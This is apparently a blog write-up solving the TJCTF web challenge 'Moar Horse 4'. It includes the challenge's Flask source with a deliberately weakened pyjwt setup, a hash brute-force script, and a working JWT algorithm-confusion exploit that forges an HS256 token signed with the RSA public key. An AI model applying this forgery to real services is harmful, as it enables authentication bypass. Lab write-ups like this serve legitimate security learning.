Moar Horse 4

Table of Contents

Can you beat that horse king?

Problem

It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform!
They call it 'Moar Horse 4'... See if you can get a flag from it!

A virtual horse racing platform is provided. The source is here:

from flask import Flask, render_template, request, render_template_string, session, url_for, redirect, make_response
import sys
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key) # was causing problems
import os
import random
import collections
import hashlib

app = Flask(__name__, template_folder="templates")
app.secret_key = os.urandom(24)

BOSS_HORSE = "MechaOmkar-YG6BPRJM"

with open("pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()

with open("privkey.pem", "rb") as file:
    PRIVATE_KEY = file.read()

Horse = collections.namedtuple("Horse", ["name", "price", "id"])
next_id = 0
valid_horses = {}
with open("horse_names.txt", "r") as file:
    for name in file.read().strip().split("\n"):
        valid_horses[next_id] = Horse(name, 100, next_id)
        next_id += 1

with open("flag.txt", "r") as file:
    flag = file.read()

def validate_token(token):
    try:
        data = jwt.decode(token, PUBLIC_KEY)
        return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
    except:
        return False, None

def generate_token(data):
    token = jwt.encode(data, PRIVATE_KEY, "RS256")
    return token

@app.route("/")
def main_page():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            return render_template("main.html", money=data["money"])
        else:
            response = make_response(render_template("new_user.html"))
            response.delete_cookie("token")
            return response
    else:
        return render_template("new_user.html")

@app.route("/join")
def join():
    data = {
        "user": True,
        "is_omkar": False,
        "money": 100,
        "horses": []
    }
    response = make_response(redirect("/"))
    response.set_cookie("token", generate_token(data))
    return response

@app.route("/race")
def race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            error_message = ("error" in request.args)
            owned_horses = data["horses"]
            return render_template("race.html", owned_horses=owned_horses, money=data["money"], \
                boss_horse=BOSS_HORSE, error_message=error_message)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/do_race")
def do_race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "horse" in request.args:
                race_horse = request.args.get("horse")
            else:
                return redirect("/race")
            owned_horses = data["horses"]
            if race_horse not in owned_horses:
                return redirect("/race?error")

            boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
            your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
            if your_speed > boss_speed:
                return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
            else:
                return render_template("race_results.html", money=data["money"], victory=False)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/store")
def store():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            success_message = ("success" in request.args)
            failure_message = ("failure" in request.args)
            all_horse_ids = list(valid_horses.keys())
            random.shuffle(all_horse_ids)
            horses = [valid_horses[horse_id] for horse_id in all_horse_ids[:random.randint(4,6)]]
            return render_template("store.html", horses=horses, money=data["money"], \
                success_message=success_message, failure_message=failure_message)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/buy_horse")
def buy_horse():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "id" in request.args:
                buy_id = int(request.args.get("id"))
            else:
                response = make_response(redirect("/store?failure"))
                return response

            if data["money"] >= valid_horses[buy_id].price:
                data["money"] -= valid_horses[buy_id].price
                data["horses"].append(valid_horses[buy_id].name)
                response = make_response(redirect("/store?success"))
                response.set_cookie("token", generate_token(data))
                return response
            else:
                response = make_response(redirect("/store?failure"))
                return response
        else:
            return redirect("/")
    else:
        return redirect("/")


if __name__ == "__main__":
    app.run(debug=False)

With horse_names.txt:

Luke
Noah
Liam
Michael
Alexander
Ethan
William
James
Logan
Benjamin
Mason
Elijah
Darin
Oliver
Jacob
Lucas
Daniel
Matthew
Aiden
Henry
Joseph
Jackson
defund

Solution

Find the horse

Apparently, none of above can beat that unbeatable MechaOmkar-YG6BPRJM. It’s speed is 340282329007027273925800828829408515216.

From the source, we can learn that I can’t buy the horse that is not in the list, which means I have to find a suitable horse.

Code

# generate available horse
import hashlib
import random
import string

BOSS_HORSE = "MechaOmkar-YG6BPRJM"
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
print(boss_speed)

while True:
    N = 20
    test_horse = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
    your_speed = int(hashlib.md5(("Horse_" + test_horse).encode()).hexdigest(), 16)
    print(your_speed)
    if your_speed < boss_speed:
        print("failed")
    else:
        print("success")
        print(test_horse)
        exit(0)

This got me a WLBGSMZK92C7GNX43UAU with a speed of 340282332015451285737341844765945188951.

Cheat the System

From the source, we can also find out that there’s NO verification of which horse to race when we do race.

But there is a JWT verification before we get the horse running.

Original JWT is something like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6W119.IwmdkE7qMzr_TzW_RvloMIz_36QKnGVcxh2FW7oUnVRztoyeRQd-LDuIXyPn7dyCaaeLLI3wXCeokCrnoBwdpqNFNInyzJEZORxBiGgHpHBpOAdVxhGOGN1dWw0pEw1so-VhGKCI5DVOtuKM_VXHqTbUtMKvoHYjwDIOTisQr1VJRR81Tu6uqzA6nf0Deu943KOMF42MEcI7yGjAwpoYMkz9CF3dX9dX1MrEIJZeN19iyfSB7apgm71gJqPJBTiI0xFKH1TXQHHfViaF8stdqDlPKo4FgWe1Ol5Zqf-fBqkv4GK_DyR36ws9Aw32ompXEPicR26JY_4nK8d_EJE5gxceN7az1xkVy9OQEpSuNDQDYBNrE7-gUtL8Q1PcwOkqN_RRT1XSEg_Cr05QOr6FDsbClQihx-Wf5pY_p58fu81_NbQRzjvQIYEBShJ6GVEXf4DB8W5SkA-KR17TdHxT7uWi270KBEQ92AWH4XtRRN01dR65px01X1M1MbkYvuPE3_QoegeN6_TP3GLEB4fMQyha_zD_OWp8Z8mzrcNERrR0933ODXujtPfQwgf7oqYXVjyfo3QYDsjgCBMejqyeIgzvVc-KpLyauDQPCxsqNalCUFwqo-0wkGJUkYAG0fwVbyi2AeWIJGPdBPF1cJ6-fkctoMwDvBzoGJnbcF93Gmc

which can be decoded as:

{
  "typ": "JWT",
  "alg": "RS256"
},
{
  "user": true,
  "is_omkar": false,
  "money": 100,
  "horses": []
}

with a verified signature. The public key provided is here:

pubkey.pem
-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAobPawzmVOmvLl6ijiaCsjcrJq/hul5w0VbVaYTJy4pQ8LieULhGm
VTSRF/CgFkvhhEqB1/RqdiakxysLW9B4Z7UWFY8s7YE1978EUXljckCujJUhwMid
aoeNucief71s2vkmoNpSCB1ED58VnvLCOGCIVRjwE8wqPgSSDABHpePu5moVc3yf
DtKjVgAz9D1GU1d8aNk1Wry2aNMOjudK0qU1Qw3OIMaWuWlweMgbiLXQUZ9DK9z2
Ow8LPRO7adIMsW7XNRC92YSuARj3fTQOuVa2SLt5pCrb8nrzejBsk1XmsC8hDmZo
ArbyhupF4jFi5+2qiAKVb4fR3P75Az+8VgxE8yWS+XirN9ajK75J9BHuHu36q33K
FlI5UimsfV0Ft4rBJNVSEInkVasvQBzdN7+hv0uNlTyWxFmR8JHTOGX3Hvtb36aY
J2zqsfqaMq93mIM2EVxP9Y5mL9bJ8tx0vQD5wE7HFAf9yuRM2Lksrh49ViI/cTUW
FeNugXYZJteTFTE0LUoWacx7ATeMbc7eprOff+MS9sWSk4J8LYsce1a9uQ+KJlkO
fxWie24rOBwDDCPSSdmDcRvwLCydT4QHCUafLQtBPNru7eHdYeNjvItNLm7SrSy4
zO8fxalbw+X62s9ZPrlqXW+trff3mTi1pOlQLM5llz8yjCTKSfkYsF0CAwEAAQ==
-----END RSA PUBLIC KEY-----

Did a quick research on the Internet, that RS256 algo is hard to crack directly.

Tried to switch the algo to none but blocked by server. Local testing is like this:

import jwt
with open("pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()
print(jwt.encode({"data":"test"}, key=PUBLIC_KEY, algorithm='RS256'))
# switch algo
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjowLCJob3JzZXMiOlsiV0xCR1NNWks5MkM3R05YNDNVQVUiXX0."
data = jwt.decode(token, PUBLIC_KEY)
---------------------------------------------------------------------------
InvalidKeyError                           Traceback (most recent call last)
<ipython-input-6-bb1ef4053db9> in <module>()
----> 1 data = jwt.decode(token, PUBLIC_KEY)

3 frames
/usr/local/lib/python3.6/dist-packages/jwt/api_jwt.py in decode(self, jwt, key, verify, algorithms, options, **kwargs)
     90
     91         decoded = super(PyJWT, self).decode(
---> 92             jwt, key=key, algorithms=algorithms, options=options, **kwargs
     93         )
     94

/usr/local/lib/python3.6/dist-packages/jwt/api_jws.py in decode(self, jwt, key, verify, algorithms, options, **kwargs)
    154         elif verify_signature:
    155             self._verify_signature(payload, signing_input, header, signature,
--> 156                                    key, algorithms)
    157
    158         return payload

/usr/local/lib/python3.6/dist-packages/jwt/api_jws.py in _verify_signature(self, payload, signing_input, header, signature, key, algorithms)
    218         try:
    219             alg_obj = self._algorithms[alg]
--> 220             key = alg_obj.prepare_key(key)
    221
    222             if not alg_obj.verify(signing_input, key, signature):

/usr/local/lib/python3.6/dist-packages/jwt/algorithms.py in prepare_key(self, key)
    114
    115         if key is not None:
--> 116             raise InvalidKeyError('When alg = "none", key value must be None.')
    117
    118         return key

InvalidKeyError: When alg = "none", key value must be None.

So we have to find a way in that it accepts the public key as a key of one algo.

First we construct new JWT without the signature:

{
  "typ": "JWT",
  "alg": "RS256"
},
{
  "user": true,
  "is_omkar": false,
  "money": 0,
  "horses": [
    "WLBGSMZK92C7GNX43UAU"
  ]
}

then change the header:

{
  "typ": "JWT",
  "alg": "HS256"
},
{
  "user": true,
  "is_omkar": false,
  "money": 0,
  "horses": [
    "WLBGSMZK92C7GNX43UAU"
  ]
}

According to jwt.io, the signature is generated using:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),  
your-256-bit-secret
)

So I wrote a script:

import sys
import hashlib
import hmac
import base64


key = open("pubkey.pem").read()

header = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" # jwt.io
payload = "eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjowLCJob3JzZXMiOlsiV0xCR1NNWks5MkM3R05YNDNVQVUiXX0" # jwt.io
token = header + "." +  payload

new_sig = base64.urlsafe_b64encode(hmac.new(key.encode(),token.encode(),hashlib.sha256)
.digest()).decode('UTF-8').strip("=")
print(new_sig)

I got 75GdNX5is97K2ySVXHgfbartW-1G5qy8dhggoUvvVP0. Then change the cookie:

horsssssse

Do the race and get the flag!

racccccccc

Btw, in the newest implemention of pyjwt, HS256 algo can’t be used with an X.509 certificate.

Nemo Xiong avatar
Nemo Xiong
我永远喜欢妃爱
comments powered by Disqus